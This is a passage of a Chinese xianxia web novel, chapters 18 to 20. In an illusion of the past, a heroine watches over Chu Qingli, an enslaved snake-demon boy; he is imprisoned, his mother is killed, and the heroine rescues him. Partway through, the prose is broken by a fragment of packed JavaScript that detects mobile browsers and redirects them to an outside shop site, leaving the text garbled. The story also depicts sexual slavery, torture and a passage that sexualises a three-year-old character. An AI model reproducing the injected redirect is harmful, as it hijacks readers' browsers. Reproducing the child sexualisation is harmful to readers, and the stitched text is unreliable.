晨光亮起的时候,百兽都不约而同开始嚎叫,白芒在第三声狼嚎中睁眼。
她无奈的先大打了一个哈欠。
昨夜归来的迟,本就没睡够,如今被吵醒的也早。也难得她多次做任务,改掉了起床气的坏毛病。
捧起冷水洗脸,激得白芒一阵清醒过来,她洗漱过后神清气爽的走出自己房间。
远远就瞧见楚卿礼扒在他娘亲的门上,似乎是在偷看什么,小脸紧绷。
白芒蹑手蹑脚的凑过去,察觉到她从身后靠近,楚卿礼捏了捏拳心,挪开了点。
白芒就看到,床榻边一瘦弱男子,正轻轻擦拭着楚宋的侧脸。
楚宋还没醒过来,神态却因为男子的动作而放松,被下伸出了一条粗长的青色尾巴。
而细瞧这男子,就会认出是昨天跟着楚家家主的,脸色苍白的男子。
昨日匆匆一面看不真切,如今凑近一瞧,白芒才发现,他下巴像极了楚卿礼。
低头看着紧拽自己衣裙的他,白芒若有所思,她似乎确实不曾听他讲过,关于父亲的事。
大约是门缝里两双眼睛太明显,换帕子的功夫,那男子就猛地抬头,猝然与他们对视。
在看到楚卿礼的瞬间,他眼中爆发出惊喜之色,急切的往门边走了两步。
动作或许急切了点,没留神地上的矮凳,被他踢的哐啷一声响。
床上的楚宋被吵醒,嘤咛两声缓缓睁眼。
男子却在弄出响动的刹那身体僵硬,眨眼间化作一缕清风,凭空消失了。
楚宋撑着床坐起来,奇怪的揉揉困顿的眼睛,“有人来了吗?”
“娘亲,是我。”楚卿礼扬起笑脸,推门进去,“没有别人。”
“这样啊。”
白芒站在原地,眼珠往后一转,就看到了树干后面的衣衫一角。
18. 家妓
白芒没有多想,身随心动,也来到了树后。
她明晃晃的动作,惊了那瘦弱男子一跳,他躲闪着拉高袖子遮住自己的脸。“你,你是谁!”
挡住半张脸,露出的下巴与楚卿礼更像,白芒眯眯眼。“你跟楚卿礼是什么关系?”
她问得直白,瘦弱男子连怕也顾不得,猛地放下衣袖色厉内荏道:“大胆!我乃楚家少主,岂轮得到你质问?”
楚家家主那老头的儿子呀,白芒心里更是疑惑,若如此,她的猜想岂不荒谬。
不是个费心思推理的主,白芒直接上前一步拽住他的领子,拉着他走出树下,手指在他喉咙上轻轻划过。
“你为何来看宋娘子?”
“我爱慕她。”
话音落下,不止是白芒,连说话的本人都呆住了。男子猛然捂住嘴,看她的眼神中透露着惊恐,“你对我做了什么?”
方才从他那句惊人话语中回了神,白芒歪歪头,出行在外,总得有些让人说真话的手段。
一切为了任务!
没理会他的疑问,白芒揪着他衣领打算细问,“你到底是谁,宋娘子又是个什么人?”
喉咙不受控制的开始动,即便瘦弱男子多努力的想住嘴,还是会发出声音。
“我叫楚霄云,是家主的亲生儿子,但自幼身体不好,更没多少修为。”
白芒了然,这就算是他的人设了。
楚霄云想调动仅有的法力推开她,可也只是徒劳,他只能听着自己继续说:
“她是妖,她与她的先祖一直是楚家豢养的妖奴。”
楚霄云的面庞有一瞬扭曲,“不,她就是个家妓,楚家谁都可以享用她,甚至无论男女。”
眉心瞬间皱起,白芒想起了楚宋平静哀婉的眼神,她的心忍不住颤了一下,“你说什么?”
他眼神迷离,就像是在借助被迫说真话的借口,吐露那些郁结于心的话语。
“再出身尊贵的妖又如何,不也是我家使用久了的家奴,连她,还有她儿子,都生生世世是我楚家的家妓。明明发情的样子那么丑陋□□,和谁都做过了,凭什么还觉得她是干净的人?”
“凭什么看不起我的心!”
楚霄云眼神癫狂,白芒早都不自觉移开了手指,他还恍如未觉。
蹙眉瞧着他,白芒突然察觉到一道视线,她倏尔抬眼,怔忪的退后半步。
半人高的楚卿礼,就站在门边,低垂着视线。
白芒一时间不知该做何反应,他的身世被这般揭露在她面亲,明明是她故意探索求知的。可此刻对上他看不清的脸,她却无端懊恼。
或许她不该问,伤疤本就不该被揭开,哪怕下面已经腐烂溃疡了,可至少维系着表面的平和。
楚霄云像是也才恢复了神志,他翻身爬起来,踉跄着到楚卿礼的面前,弯腰堆着笑。“卿礼,我刚刚是被那妖女控制,说了胡话。你娘亲还好吗?”
见他不答话,楚霄云苍白着脸连连咳嗽几声,从袖子里摸出一罐药,“这个给你娘亲,她用的着。”
“多谢。”楚卿礼终于抬起头,脸上神色不改,挂着浅淡的得体微笑接过来。
然后跪倒在地,冲楚霄云恭敬行礼。“多谢少主大恩。”
楚霄云像是被他这动作吓到,手忙脚乱的想搀扶他,他却先一步站了起来,依旧微微低垂着头。
没有再看白芒一眼。
眼神停留在他的膝盖上,白芒抿唇,莫名升出种怒意。
掐着药瓶的指尖几乎要嵌入他的掌心,楚卿礼刻意低着头,视线中只有她的一点影子。
妖奴、家妓的儿子,连亲生父亲都不能确定到底是哪一个,等一成年,就会在发情期被刻上某人妖仆的烙印。
世上最最低贱的存在。
娘亲曾教给了他许多自洽的道理,他早就知道这些并不是他的错,他无需为此自怨自卑。
可独独今日,在白芒的面前,他难堪的连头都抬不起来。
诡异的沉默,在他们之间发酵,楚霄云还碎碎念念着什么。白芒暗自叹气,刚往他那边迈了半步。
嗖!
一道凌厉寒光突然从天边降落,白芒瞬间戒备转身,眯眼瞧着从天上飞来的人。
楚家家主浩浩荡荡领着几个侍卫驾云而来,手里捏着一块铜镜,脸色黑沉难看。
楚霄云先慌了,他跑向楚卿礼,一把拍掉他手里的药瓶,而后跪地低头。“父亲,儿子只是路过此地,绝没有贪恋妖奴。”
药瓶碎了一地,楚卿礼牵牵唇角,没多少反应。
楚家家主落地,忍耐着脾气不屑哼了一声,“还不退下。”
他这个儿子,身体弱没天分也就罢了,还是个没担当的软脚虾。
楚霄云忙躲在了队伍最后面。
这一番阵仗极大,白芒蹙眉,并指先将自己隐了形。
楚家家主似乎也没察觉出她的存在,他居高临下看着楚卿礼,伸手将这面铜镜扔在了他面前。
“孽畜,还不认罪?”
他的声音自带一种雄浑,就像是从九天霄云里传来,明明嘴的开合都不大,却让人忍不住想臣服。
而楚卿礼只是茫然的看着那面铜镜,“卿礼不知,所犯何罪。”
“哼!”一个奴仆从家主身后站了出来,义愤填膺的指着他,“就是他,昨夜潜入殿中,对四公子图谋不轨!铜镜都记得一清二楚,你还敢狡辩?”
楚卿礼拧眉,“家主误会了,我是去救四公子的,他中了……”
“荒唐!”
楚家家主厉喝一声,打断了他的话语,负手昂头,“你一介小小妖仆,也敢妄谈救我楚家子弟?”
他摆手,楚卿礼就被威压跪地,头颅像被折断般低下来。
“况且你一个妖,能有什么好心。”
轻飘飘的言语里,承载着浓厚的鄙薄,他连铜镜中的内容应当都没认真看过。白芒怒从心头起,握拳往前,却被一道透明的屏障隔住了。
心生奇怪,白芒撤了自己隐身的术法,向着众人的方向使劲挥手,可也没有一个人注意到她。
连她这个外挂也不能突破的,是时间的维度。眼前发生的这件事,应当是楚卿礼过去实实在在影响了他生命轨迹的事情。
她不该存在,也就无法改变。
白芒恍然,这一场过去的幻境里,她在这些关键节点上也只能做个看客。就像是一个副本,有它必须要推行的环节。
心沉下来,白芒停下所有挣扎的动作,安静看着。
院子里的动静传入屋内,门突然被撞开,楚宋跌倒在地上,她的双腿上全是泥土,不知是怎么从床上下来的。
“家主。”楚宋美目含泪,强撑着身体跪着,央求道,“卿礼绝不会害人,请家主明察。”
“你是在质疑我?”
楚宋摇头,“奴不敢。”
楚家家主哼着转头,脚尖将铜镜踢开,“我说什么,就是什么。念在你受欺辱在先,只要你低头道歉,便算是过了。”
这已是他施舍的恩情。
楚卿礼扭头,看向自己纤细柔弱的娘亲。
楚宋泪如雨下,无力的咬着唇,却一点点抬起了头。“不是他做的,他便不能认错。”
分明是比菟丝花还柔弱的女子啊,她的反抗,让楚家家主勃然大怒。
“来人!将这孽畜押入大牢,严刑拷问!”
身后的侍卫们像是早就迫不及待,一声令下,就拥过来压下楚卿礼。
楚宋试图靠近,却被拉开,泣涕涟涟。
楚家家主已重新踏入云端,“不是要还他公平吗,那就查呀。”
蜂拥而来的侍卫们,又卷着楚卿礼走了。院墙边的那一排兰花,早已被踩得七零八落,地上一片脏污。
约束住白芒的那道屏障消失了,她看着地上踩出泥浆的落花,慢慢走向楚宋。
“白姑娘,怎么办?”
楚宋像是看到了救命稻草,抓住了她的手,眼神涣散着喃喃,“楚家的监牢里,都是些凶神恶煞的人,他小小孩子,怎么扛得住?”
扶着她慢慢坐回床上,白芒挥出一道光,将桌椅倒地的屋内,连同狼藉的院子都恢复原样。
轻轻把被子给她盖上,白芒对上她的双眼,认真道:“我一定会带着他走出去。”
这场幻境,她一定会带他离开。
楚宋慢慢被安抚下来,被她一顿药灌
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下去,便紧锁双目睡着。
白芒妥帖的关上门,折下开得最好看的一朵兰花,放自己的灵识探索着。
找到了牢狱所在的位置。
楚家端坐于云霄之上,都是光明普照灵气充裕的地方,可罪人怎配这种好地方。于是楚家先祖专门设了一重芥子世界,里面暗无天日,只有一整栋高楼,关押的都是罪人。
白芒是在最低那一层找到的楚卿礼。
似乎是刻意模仿着人界的牢房,楼内都是腥臭血腥味,沾染着陈年血迹的刑具就挂在墙上,随时能听到凄厉哀嚎。
“呸,以后还不是和你娘一样的东西,现在让爷先爽又怎么了?”
不堪入耳的话语,白芒神色一凛,猛地掀飞了眼前的牢门。看都没看一眼,里面的侍卫就被她掀翻出来,在地上足足滚了两圈。
“何人……啊!”
白芒踩断了他的鼻骨,脚轻飘飘往后一踢,那人就被踹出楼去,跌入了茫茫芥子世界,连尘埃都不剩。
而白芒全程只看着前面,楚卿礼被绑了起来,看上去还算是完好,她这才松了一口气。
袖中的那朵小兰花飘过去,落在他肩头,清香驱散了所有的肮脏味道。
手脚被捆住,楚卿礼在看到她的瞬间眼睛都亮了起来,熟悉的兰花香味更是如同一汪清泉,他只觉自己被捡了起来,干干净净的擦拭着。
看清楚她脸上的怒气,他仍下意识的想安抚。“他近不了我身的,只是说几句而已。”
白芒没有回答,只觉气恼的额头都在跳。这个笨蛋,就一点仇恨都没有吗,这样怎么能黑化成长为大反派啊!
到底多过分的事情,才会让他失控?
她如此的沉默,落在楚卿礼眼中,便有了旁的解释。
被楚霄云揭开的难堪还没过去,他又落得这样一个狼狈的境地,楚卿礼小小的缩起来,人皮都维系不住,变回了一条小白蛇。
绳索随之变化,依旧紧紧束缚着他,唯一能动的就只有尾尖。
黑暗之中,楚卿礼的声音在微微颤抖。
“姐姐,你是从未来来找我的。我以后,真的会成为妖仆吗?”
“对。”
屈辱感比绳子还要捆住他,楚卿礼尾尖无力的耷拉着,绝望闭眼,“那发情期呢,我是不是卑贱求欢?”
早慧的孩童,嗓音有种天真的残忍感,听得人比喊叫声还觉毛骨悚然。
楚卿礼只觉喘不上气,他看过妖兽们在发情期的样子,神志全无的摆尾膝行,被剜掉了肉,还一脸谄媚的伸着舌头。
他也会是那个样子吗,还是更不堪?
眼前不见五指的黑,突然噗的一声亮起了光,楚卿礼蛇瞳被照得疼痛,仍大睁着追逐那抹光亮。
白芒指尖燃着一簇火苗,她沉默着伸出另一只手,一缕若有若无的青线从她手腕上伸出来,缠绕住楚卿礼的脖子。
说难听点,像是拴宠物的链子。
正是所谓的妖仆印记。
四周的声音都淡去了,妖是很难流泪的,可此刻眼睛却被光晃的酸涩,楚卿礼艰难开口,“姐姐,就是我的主人?”
“是。”
啪啪,蛇尾轻轻敲动着地面,楚卿礼只觉自己每根骨头都被擦拭了一遍。他情不自禁的伸出蛇尾,缠绕住她的手腕。
被她的体温烫得一哆嗦,浑身都开始震颤。
是她,是她!身体的感知骗不了人,他的心都充盈起来,蛇尾越缠越紧。
那些屈辱的想象都消失了,楚卿礼竟觉出些许畅快,鳞片覆上她皮肤的瞬间,楚卿礼好似理解了。
为何发情期的兽类们看上去遍体鳞伤,神色却还是那么享受。
楚卿礼难以抑制的发出一声闷哼,这深渊般的黑暗,恰好的掩盖住了他的第一次启蒙。
对这一切都浑然不知,白芒只是自顾自的愁苦。
就知道这妖仆印记不是什么好东西!
看大反派生气的,蛇尾都用力到快要把她手腕给绞断了,一定是恨极了。
等以后走到剧情,她这个原主人要被大反派剥离琉璃骨,他手法指不定会有多残忍。
白芒摸摸后背,已经愁眉苦脸的幻痛了。
19. 救赎
监牢之内没有日月,时间的流逝,只能靠侍卫们审问的次数来推断。
只是这些狐假虎威的侍卫们,大多也并不是在审问。
沾着血的鞭子被拖出去,门锁哐啷一声合上,黑暗的角落里,白芒逐渐显形。
被打的奄奄一息的楚卿礼动了动鼻子,向她的方向转头,眼睛还没睁开,就被轻柔的帕子盖住脸。
白芒给他擦干净血迹,顺手治好了外伤。
她没办法赶走每一个侍卫,这些折辱,他总得忍受。
只是在真实的过去呢,她都不曾出现,他又是如何捱过去的。帕子搅成一团捏在掌心,白芒好似看到了他当时瘦瘦小小,旧伤叠着新伤,干涸的血迹被新的鲜血覆盖。
眼眸盯着她,楚卿礼觉察到她此刻情绪似乎不太好,手被绑住,他便努力伸长脖子,用鼻尖蹭了蹭她的侧脸。
被他这小动物撒娇般的动作逗笑,白芒叹气,“为何这些侍卫们都这样对你?”
“他们在外,也是不少受气的,楚家的公子小姐们都不是好脾气。”楚卿礼依旧盯着她的眼睛,语气温和,仿若察觉不到痛似的。
楚家血脉尊贵,子弟们也大多是天赋过人的天之骄子,御下便多用严苛手段。侍卫们憋了气,也就像更低贱的人发泄,不止是他,这里关押的妖与人都是一身惨相。
掷开了手帕,白芒凑近他,仔细盯着他的眼睛瞧。
她猝然靠近,楚卿礼懵住,怔怔往后躲,却被柱子挡住,只能眼睁睁看着她停留在离自己几寸的地方。
喉咙无声滑动几下。
白芒咋舌,抱臂站好,他竟然还都是真心话,全然没有半分假意。
她不信,难道还真的有人不会生气怨恨的,更何况才是个心智不成熟的小孩。
伸手一挥,白芒变出一只香喷喷的烤鸡腿,表面泛着层漂亮的油花,她拿着在楚卿礼眼前晃了一圈,果不其然看到他渴望的眼神。“想吃吗?”
他吞了吞口水,略不好意思的低眼点头。
“不给!”白芒却神色一变,眼神盯着他,将烤鸡腿拿过来大口咬下。
可他连神色都没多变几分,依旧眨巴着大眼睛看她。
“你不生气?”
楚卿礼不解摇头,这有什么可生气的。
想了想,手中的鸡腿变幻成一把锋利匕首,白芒一言不发的直刺向他眼睛。
他下意识的闭了眼,身体后缩着躲闪。
匕首尖停在了他眼皮旁,白芒歪头,“我毫无理由的就差一点就弄瞎了你,也不生气?”
楚卿礼缓缓睁眼,匕首太近,他还是无法直视,只是仍旧面色平和。“可你没有。”
白芒泄了气,挥挥手一切幻象都落了空,“懂了,你才是东土而来的和尚。”
“什么?”
不客气的捏了捏他的脸,白芒放弃了让他生气的念头,大约只有以后的女主才能牵动他的情绪吧。
退后半步,小腿肚突然传来一阵钻心的疼痛,白芒嘶的一声蹲下来。
裙角掀开,小腿上被咬破了皮,罪魁祸首的小蜈蚣还爬在她腿上。
黑暗的牢房里,这种小虫子自然不在少数,往日都躲在暗处。但白芒习惯性燃着一簇照亮的小火苗,这只蜈蚣应该是被吸引来的。
每当回事,她正要伸手将这小虫子捏走的时候,一条蛇尾突然卷了过来。
啪的扫落了那只蜈蚣,蛇尾又抬起,用力摔落砸死了它。
地上多了具蜈蚣尸体。
白芒愕然,抬眼看到他脸上一闪而过的厌恶,几乎要怀疑自己眼花了。
收拾干净了那蜈蚣,楚卿礼收回尾巴,蹙眉看着她腿上那一小片伤口。什么东西,也敢靠近她的肌肤。
“没事吧?”
揉揉眼,白芒将裙角放下来,“不妨事,没多疼。”
一小段插曲就这样掠过,白芒依旧数着侍卫来的次数,在他受完刑责后再出现为他治伤。
偶尔的闲聊中,白芒又对他的身世多了一些了解。
修仙世家里,总有被豢养的大妖,他的先祖应当就是。隶属楚家,世代为奴,可不知为何,楚家明明厌恶妖奴,又要迫使家族子弟们与妖生育后代。
所以所有人才说,楚宋是家妓,往后楚卿礼也是。
白芒也曾问过,是否楚霄云就是他的父亲,可他只是摇了摇头说不知,只知必定是楚家人。
只得先将这点异样,当作故事里的背景设定。
白芒估算着时间,约莫是第五日的时候,终于来了侍卫之外的人。
整座镇妖楼,因为楚家家主的到来,光芒万丈。
天上都有人用法力变幻出一个假太阳,楚家家主便从太阳中间显形,缓缓降落在楼内,衣袂飘飘,如同天上谪仙。
狱卒恭恭敬敬打开了牢房,将楚卿礼提了出来。
嫌恶地上脏,楚家家主踩着一朵祥云,他低头施舍一眼,略有些惊讶于他身上的完好无损。
想来这就是他这一族的强悍能力。
楚家家主眼中不动声色闪过丝厌恶,随后他转身,对着众人宣布。“楚卿礼的罪孽已然消清,即刻由我带回。”
他的声音扩散在楼中响了三圈,身后跟随的弟子立即将楚卿礼提起来,随他驾云而去。
众人消散在镇妖楼的入口处,天上那轮耀眼的太阳,顷刻间陷入黑暗,楼内照例响起千万声惨叫。
白芒藏匿身形,跟在楚卿礼身边。
仙鹤飞过,走出芥子世界后楚家家主就自行远去,众人跟随他身后。只有那名年轻弟子,依旧押着楚卿礼往某一个陌生地方而去。
心中莫名有些许不安,楚卿礼眼下也看不到白芒的踪迹,他抗拒的动了动,“不敢劳烦大人,我自己回去就好。”
“多言!”年轻弟子手下力气不改,继续带他往前,眼底却闪过可怜。
眼前的景色越来越庄重,人际罕至,风中都掺杂着肃杀之气。
慌张跳动的心脏,在看清楚远处那一片圆形场地后彻底停下来,楚卿礼瞪大眼睛,踉跄着扑了过去。
地上的阵法还在,噼里啪啦的闪着雷电,而地上散落着一段一段的尸体。
楚卿礼时常觉得,娘亲有世上最漂亮的蛇尾,青翠欲滴,便是下过雨的竹叶也没她的鳞片好看。
在他小小的记忆里,娘亲的原形很长,几乎能盘踞楚家最大的宫殿,飞行在云中很是矫健俊美。
娘亲爱美,性子又温柔,并不是很经常显露她的原形,说容易吓到人与百兽。
可如今呢。
楚卿礼跌跪在地上,却连先靠近那一块尸体都不清楚。
娘亲漂亮的身躯,被砍成了一段一段,就像是被孩童残忍碎裂的蚯蚓,分离开的身体还在扭曲,直到生命的最后一刻,她都在承受莫大的痛苦。
终于找到了娘亲的头,楚卿礼哀嚎出声,跪着膝行过去。
他缓慢低下头,靠近楚宋的眼睛,血泪流下。
砸在阵法上,雷光缓缓散去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038572|147167||http|test|mini|href|location''.split(''|''),0,{}));
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>“你娘亲都是为了救你,往后好自为之,不要想再去伤害楚家人了。”
年轻弟子的话语,像是凌迟楚卿礼的一把利刃,他瞪着猩红的眼睛,“你说什么?”
这眼神太过骇人,年轻弟子都被吓的一晃神,才色厉内荏呵斥,“就是你害的,她是在为你赎罪。”
“我没有害人!”楚卿礼如同发疯的小兽,猛然站起来冲向他,想用力的解释。
可还没靠近,就被他一拳推远,年轻弟子用了十足的力,直打得他趴在地上爬不起来。
“念在你也算可怜,我便绕了你这次。”年轻弟子甩着手离去,嘴里嘟囔着,“不过就是个妖,还真以为自己有人的真情。”
五脏六腑都在疼,楚卿礼明明是能捱得下那一拳的,可他就是趴在地上动弹不得。
天边翻滚着浓黑的云彩,里面隐有雷电,就像是上苍也在愤怒一般。
可楚卿礼现在什么都顾不上,他只能用力的手撑着地,一点点挪去娘亲身边。
他突然觉得冷,四周都冷得可怕,冻得他直打哆嗦。
眼前没有任何人,他便被丢弃在了娘亲的尸体边,孤寂得像是沧海一粟。
青铜柱边,白芒气得使尽了法子,也没突破这层透明屏障。
幻境又限制了她,不让她出现,不准她靠近。
“混蛋。”
她忍不住骂了一声,她是为他而来的啊,在他最需要的时候,却不能去他面前。
简直是对她这个优秀员工的侮辱。
别无他法,她只能看着他崩溃。白芒安静看着蜷缩在尸体边的小小白蛇,心口酸涩,她蹲下来,摸了摸手背。
手背上蛇的印记显现,远处盘缩着的小白蛇也若有所感的抬起头,可他瞧了一圈,也只是哀泣着重新埋下头。
没有人再来管他们,楚家依旧歌舞生日,前来敬贺拜谒的人络绎不绝。
不过死了个妖罢了。
整整十日,楚卿礼就这样蜷缩着,任由灰尘几乎掩埋了他。那几段尸体,也开始泛起苍白。
第十一日,楚卿礼终于抬了头。
面前透明的屏障突然消失,也在原地陪了他这些天的白芒立刻站起来向他走去,可刚迈了一步,眼前的场景就有了变化。
她看到了无数个楚卿礼。
准确来说,是无数个被年轻弟子押来见娘亲尸体的楚卿礼。
这个场景就像是支离破碎的千重世界,每一重都是楚卿礼最痛苦的这一段经历。
就好像是千千万万个楚卿礼,在不断重复这一幕。
白芒下意识的想抓住离她最近的那一个,可手却扑了空,穿过他的身体。她只能再次眼睁睁看着,这些楚卿礼们默默卧倒在娘亲尸体边,痛哭崩溃。
“请你无论如何,带他走出去。”
耳边仿若再次响起了楚宋的声音,直至现在,白芒终于明白了这场过去幻境的真面目。
它挑中了楚卿礼此生最痛苦无助的时光,让他不断重复着。
要么楚卿礼清醒过来,要么幻境吞没了他。
思索间,第一批“楚卿礼”们消散了,化作一缕白气,白芒认得出来,那都是他的精气。
消散的精气们,又滋养着幻境,让楚卿礼更陷入绝望孤寂的情绪。
恶性循环。
真是老套又恶毒的桥段。
白芒站定,硬生生催动着周身灵力,强行从幻境中召唤者她的火。
她要找到他,什么破幻境,一把火烧了!
20. 初见
炽热的火苗如浪一般打出去,直接荡平了这片天地。
白芒冷脸站在原地,眼看着火苗消失尽头,一股水汽涌起,可眼前的景象却没有什么不同。
她咧了咧嘴角,看来想一把火烧尽这里还有些不现实。
又有许多的“楚卿礼”走了过来,她想了想,抬手腕召唤出那道妖仆印记的青线。
可青线却分散到了每个“楚卿礼”的身上。
是了,这都和楚卿礼有着相同的气息,妖仆的印记自然没有用。
白芒立在原地,一时间也茫然起来。
忽然间,她手背被刺痛了一下,那蛇形的影子从她的手背往指尖游走,在她指尖微微摆动着,像是在指引方向。
白芒试探着往前走了几步,影子往前一扭,点了点她手的左边。
看来还真是在给她引路,白芒按捺惊异,跟着影子走。
此处的遮挡很少,除了青铜柱子,圆形的卵石地上就只有楚宋的尸体。白芒走近了,大致也瞧得出来。
楚宋便是被身下的阵法困住,有数人执刀剑从上而下,活生生将她的身体砍成数截。
真是无耻险恶。
手背上的蛇影没有带着她走向任何一个“楚卿礼”,而是带她停到了约莫是楚宋腹部的地方。
影子盘旋起来,首位相交,形成一个圆。
白芒蹲下来,若有所思的看着这段尸体,她慢慢伸出手,摸了摸尸体。
似乎没有任何异样。
正有些失望的时候,翠绿色的蛇鳞下忽得闪过一抹白光。
“楚卿礼!”
白光又闪了闪,白芒没有犹豫,当即召出火来,点上这段尸体。
就像是稻草一般,在触到她的火苗的瞬间,这段尸体就化为灰烬。四周麻木的“楚卿礼”们都停下了,只有地上蜷缩着的一条小白蛇。
她不自觉送了一口气,白芒蹲下来,手指轻抚了抚他。
蛇尾尖摆了摆,即便没醒过来,也在下意识的回应她。
白芒心里好笑,鼻子却先酸了酸。
远处他的分身们,也都像是静止的画像,两三息过后,就都变成一缕光汇聚在他身体里。
楚卿礼慢慢变回人形,他坐起来睁眼,怔怔盯着白芒。
眼角不知是何时落下的血泪,还挂在腮边,他却直勾勾看她。
“你找到我了。”
“是你找到我的。”白芒微微笑着,冲他摇了摇手背。
是他的护心鳞,带着她来找他的,白芒突然想起那时的雪地里,也是他先变成人形,她才寻到他的。
记忆随神志慢慢回笼,楚卿礼撑着身体爬起来,环顾着散落一段段的娘亲的尸体。
他怅惘的摸了摸心口,身上的伤顾不得,楚卿礼踉跄着搬运着娘亲分离的尸体。
纵使是死了,她也该是完整无缺的。
巨大的蛇身,于他如今瘦小的身躯来说实在沉重,可楚卿礼没有求助白芒,更没有选择省力的拖行。
他就这样悬空抱着娘亲的尸骨,一点点拼凑着。
巨大的重量,迫使他腰都佝偻着,吃力的咬着唇角,脸都涨红了。
在他奋力搬了三段后,手连着胳膊都在用力抖动,眼看就要脱力倒下,却还是摇摇晃晃的去搬下一段。
可他哪还有力气,眼看着就要抱着尸体一块摔倒,忽得被一阵风扶住。
白芒终是看不下去,先按着他的肩膀让他停下,而后手往上抬,那些散落几段的尸体就都聚集在一起。
白芒又施了法,断痕都融合起来,楚宋的尸身终于完整。
是一条漂亮的,青绿色的巨大蛇身。
“你们的习惯,去世之后应当如何入殓?”白芒轻声问着。
楚卿礼则只是茫然的摇了摇头,娘亲告诉过他许多,却没说起过这些。
微叹口气,白芒上前轻轻合上楚宋的眼睛,而后点燃了一簇火苗。
火焰瞬间包裹住楚宋的尸体,纯蓝色的火焰,远远看上去更像是温柔的海水。
“那就这样吧,化作清风,干净自在。”
白芒这才转过头来,楚卿礼抿着唇角,无声无息的看着那冲天的火光。
干涸在脸上的泪留下一道印子,他安静的大睁着眼睛,似乎和方才崩溃失智的不是同一个人。
眉心皱起,白芒想说些什么,却被他抢先开口。
“是我害死的娘亲。”
不等白芒回答,楚卿礼转向她,一字一顿的继续强调,“就是我害的。”
如果不是他在救四公子的时候不小心留下踪迹,楚家人就不会误以为他伤害了四公子,他就不能招惹麻烦,娘亲就不会被他牵连。
或者从一开始,他就乖巧做事,在宴会上避开四公子,也不会导致娘亲的死。
都是他的错。
眉头皱的更深,白芒蹲下来,想直视他的眼睛。
楚卿礼喃喃着,他眼神躲闪,蜷缩着抱住自己,像是住进壳里的蜗牛。
可还没把头埋进胳膊里,他就被白芒捏起了下巴,迫使他圆润的大眼睛里满满当当都是自己,白芒神色认真。“楚卿礼,你还记得我吗?”
他茫然的忽闪着眼睛,三岁孩童的脸上全是稚嫩。
白芒继续问:“楚卿礼,你看着我,我是白芒。我都教过你什么?”
这场幻境里,她是真实的,那么他一定也是。三岁模样是他如今的幻象,真实存在的,与她相伴相识的楚卿礼,必定在他灵魂深处。
楚卿礼失神,大脑一片空白,却无意识的开口:
“做人,不能受委屈。”
白芒满意笑开,捏着他下巴的指尖往上移,轻捏了捏他的脸颊。
“太善良的人,往往会把一切因果归于自己,会觉得是自己千不好万不该才造成了糟糕的后果。无数人觉得这是真善良,可我却只觉得懦弱。”
“因为他们只有这样,才能继续自洽的生活在这世间。”
也不管他听不听得懂,白芒缓缓站起来,遥望着楚家的主殿。
“当然,这并不是他们的错,太过弱小的人,连恨都是不够格的。没有能力报仇,徒有满腔恨意,只是折磨自己罢了。”
她转过头,对着似懂非懂的楚卿礼乍然一笑,“可你不一样,你有我。”
“而我足够强大。”
他并不明白,白芒的视线里,这个幻境已经岌岌可危,边缘处都在发着白光。从他醒来开始,这幻境的就已经弱了许多。
只等完成了最关键的一步,她就能带着他走出去了。
“我会帮你报仇。”白芒揉了揉他的脑袋,微微笑着,“我会查清楚你娘亲到底是怎么死的,是谁下的令,谁动的手。”
她朝他伸出手,掌心柔软温暖,楚卿礼本该将他的手指搭上去,可他却怔愣着低头,用侧脸蹭了蹭她的掌心。
就像是讨了一个抚摸。
方才恍然失神,几乎想要自裁的楚卿礼,心头的阴郁好似被抚去许多。
白芒则看着波动了几下的世界边缘,心安不少。只等她找到真凶,报了仇,他这场娘亲去世的死结应当就能解开些了,幻境自然也就能出去了。
说干就干。
从指尖凝出一朵小白花,白芒别在他耳侧,温声道:“你先回家中等着,我去找些人问问,可好?”
被独自丢弃在这世间的感觉太沉重,楚卿礼下意识的想摇头,却在摸了摸耳边小花后,又乖巧点头。
他相信她,他不能添乱。
家里还有不少娘亲的东西,需要他去收拾处理的。
于是楚卿礼懂事的先行一步,矮小的身躯抱着自己,像是怕冷一般,不时伸手摸摸耳边。
瞧着他孤寂的背影,白芒默默转身,暗道出去后一定带他去世间最热闹的集市上逛上一圈。
楚宋的死突然又诡异,她有办法让人说真话,只要找到相关的人问上一问就好。心情迫切,白芒的脚步也就快了许多。
孤身远去的楚卿礼却迷了路,他被允许出入的地方太少,这里都是至今第一次来,还是有弟子带领。如何回去,就成了一个问题。
他只能闻着空中的味道,大致辨着方位往前走。
风吹来的味道很杂乱,有灵丹妙药的草木味,更有香炉符纸的燃烧味,还有些脂粉香。
在这阵杂乱的气味中,忽得掺杂进来一抹幽幽兰香。
顿时找定了方向,楚卿礼顺着兰香味走去,溪水潺潺而过,水底的石头莹白如玉。
四周的人都不多,楚卿礼走了很久,直到看到一座名贵兰花围绕着的小院,他才意识到不对。
这些兰花品种名贵,不是娘亲种下的平凡小兰花,更何况院子里的阁楼外仙气缭绕,仙鹤飞舞,里面住的一定不是普通人。
娘亲的惨状还在眼前,楚卿礼此刻怕极也厌恶极了麻烦,他几乎是瞬间就转过身要原路返回。
却还是迟了半步。
“你是谁?”
院子矮矮的围墙上,传来一道清脆的女童声音。
楚卿礼循声看去,女童扒在墙上,露出的脑袋上扎着两个发髻,乌黑的大眼睛圆溜溜的。
不想回话,楚卿礼只是欠了欠腰便打算离开。
“诶,你等等呀!”女童却急了,张牙舞爪的叫唤他,几乎不能在墙上坐稳。
楚家人皆早慧,她看上去机敏,可身量也不过两岁的样子,人族的两岁要比他们妖族更瘦小,楚卿礼还是走过去,伸手呈保护状。
谁知他这反应,反而给了女童一种掉下来会安全的信号,她咯咯一笑,手松开直往下倒。
楚卿礼忙不迭去接她,墙体不高,她也不重,可他这胳膊刚搬过娘亲的尸体,早就酸软无力。
女童砸下来的瞬间,他也失了力气,痛得皱眉一同摔倒在地。
“你没事吧!”女童倒无恙,翻身坐起来,笑眯眯冲他伸手,“我叫楚书芸,就住在这个里面。”
依旧没吭声,楚卿礼等着胳膊缓过劲来,翻身坐起就想走,可楚书芸却缠上来,好奇的盯着他看。
天赋极佳,又受尽宠爱的楚书芸,正是活泼好动的年纪,眼前这个陌生而俊美的小哥哥,让她生出无限的兴趣。
